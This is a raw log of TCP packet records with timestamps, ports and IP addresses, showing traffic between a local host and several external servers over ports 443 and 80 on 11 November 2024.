Nov 11, 2024 19:52:27.438023090 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.503339052 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:27.503434896 CET	49895	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:27.550534964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.550681114 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:27.619117022 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:27.625397921 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.755472898 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.756104946 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.756145000 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.756254911 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.822297096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.822310925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.822323084 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.822408915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:27.822408915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:27.837709904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:27.842502117 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.953000069 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.953731060 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.953743935 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.957060099 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.957065105 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.957211971 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.957225084 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.969229937 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.969300985 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.969367981 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.969440937 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.969827890 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.969839096 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.969933987 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.970043898 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.970060110 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.970355988 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.970365047 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.970392942 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.970396996 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.970727921 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.970732927 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.970871925 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.970889091 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.970983028 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.970988035 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.971303940 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.971308947 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.971365929 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.971385002 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.971743107 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.971748114 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.039093971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:28.039246082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:28.054538012 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:28.059370041 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:28.061891079 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062156916 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062165022 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062242985 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.062428951 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062446117 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062474012 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.062515974 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062608004 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.062786102 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062956095 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.062956095 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.062967062 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.062980890 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.063056946 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.063102007 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.064641953 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.064703941 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.064836025 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.065679073 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.065679073 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.065692902 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.065704107 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.065764904 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.065777063 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.065788984 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.065794945 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.071839094 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.071855068 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.071865082 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.071870089 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.072057009 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.072074890 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.072088957 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.072094917 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.075555086 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.075573921 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.075684071 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.076154947 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.076165915 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.077919960 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.077946901 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.078104973 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.078248978 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.078259945 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.079164028 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079185009 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.079232931 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079339981 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079358101 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.079427004 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079572916 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079582930 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.079664946 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079679966 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.079952955 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.079968929 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.080060959 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.080229998 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.080239058 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.557423115 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.557446957 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.557476044 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.557517052 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.557548046 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.557563066 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.558063030 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.558079004 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.558090925 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.558218956 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.558244944 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.558300972 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.618554115 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.618978977 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.618988037 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.619420052 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.619424105 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.620907068 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.621270895 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.621284008 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.621362925 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.621402979 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.621659040 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.622324944 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.622329950 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.623527050 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.623543978 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.624552965 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.624558926 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.628166914 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.628179073 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.629009962 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.629017115 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.631542921 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.631560087 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.632270098 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.632275105 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.700706005 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.700751066 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.700850010 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.704881907 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:28.704900026 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:28.712806940 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.712884903 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.713000059 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.713464975 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.713475943 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.713486910 CET	49902	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.713491917 CET	443	49902	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.714987040 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.715045929 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.715181112 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.715761900 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.716226101 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.716232061 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.716265917 CET	49905	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.716275930 CET	443	49905	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.717168093 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.717350006 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.720419884 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.720427036 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.720438957 CET	49906	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.720443964 CET	443	49906	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.721086979 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.721177101 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.721247911 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.721980095 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.721983910 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.721999884 CET	49904	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.722003937 CET	443	49904	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.724059105 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.724087000 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.724335909 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.725409031 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.725430965 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.725481033 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.728353024 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.728364944 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.728565931 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.729363918 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.729697943 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.729830027 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.730568886 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.730577946 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.730642080 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.731601954 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.731615067 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.732098103 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.732120037 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.733201027 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.733215094 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.733743906 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.733757019 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.733812094 CET	49903	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.733820915 CET	443	49903	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.740813017 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.740840912 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.741378069 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.741914034 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:28.741925955 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:28.751766920 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:28.752334118 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:28.789520979 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:28.794562101 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:28.917171955 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:28.917205095 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:28.917260885 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:28.917473078 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:28.917485952 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:28.994921923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:28.995007992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:28.998851061 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.003626108 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.003707886 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.003808975 CET	49914	80	192.168.2.5	185.215.113.16
Nov 11, 2024 19:52:29.010224104 CET	80	49914	185.215.113.16	192.168.2.5
Nov 11, 2024 19:52:29.246107101 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.246593952 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.246608019 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.247123957 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.247128963 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.247325897 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.247708082 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.247720957 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.247891903 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.248042107 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.248047113 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.248243093 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.248267889 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.248714924 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.248722076 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.254547119 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.254882097 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.254904985 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.255275965 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.255281925 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.256439924 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.256831884 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.256859064 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.257282019 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.257289886 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.340063095 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.340126991 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.340256929 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.340464115 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.340476990 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.340493917 CET	49911	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.340500116 CET	443	49911	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.341028929 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.341084003 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.341250896 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.341367006 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.341372013 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.341403008 CET	49909	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.341408014 CET	443	49909	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.342411995 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.343334913 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.343394041 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.343453884 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.343482018 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.343612909 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.343626976 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.343636990 CET	49910	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.343641996 CET	443	49910	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.343666077 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.343782902 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.343801022 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.344018936 CET	49915	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.344032049 CET	443	49915	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.344089985 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.344201088 CET	49916	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.344218016 CET	443	49916	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.345735073 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.345757008 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.346024990 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.346146107 CET	49917	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.346159935 CET	443	49917	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.349109888 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.349267006 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.349324942 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.349390984 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.349390984 CET	49908	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.349397898 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.349405050 CET	443	49908	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.350610971 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.350636959 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.350680113 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.350754023 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.350800037 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.350811005 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.350836039 CET	49912	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.350841999 CET	443	49912	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.351037979 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.351757050 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.351768017 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.351829052 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.351952076 CET	49918	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.351963043 CET	443	49918	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.352154970 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.352164030 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.353028059 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.353040934 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.353173018 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.353283882 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.353322029 CET	49919	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:29.353333950 CET	443	49919	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:29.353352070 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.353718996 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.353781939 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.353895903 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.395339012 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.438306093 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.438880920 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.438905954 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.440995932 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.441003084 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.441041946 CET	49907	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:29.441047907 CET	443	49907	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:29.449445009 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.449497938 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.449512005 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.449568987 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.452802896 CET	49913	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.452821970 CET	443	49913	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:29.462888002 CET	49920	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:29.462935925 CET	443	49920	23.57.90.111	192.168.2.5
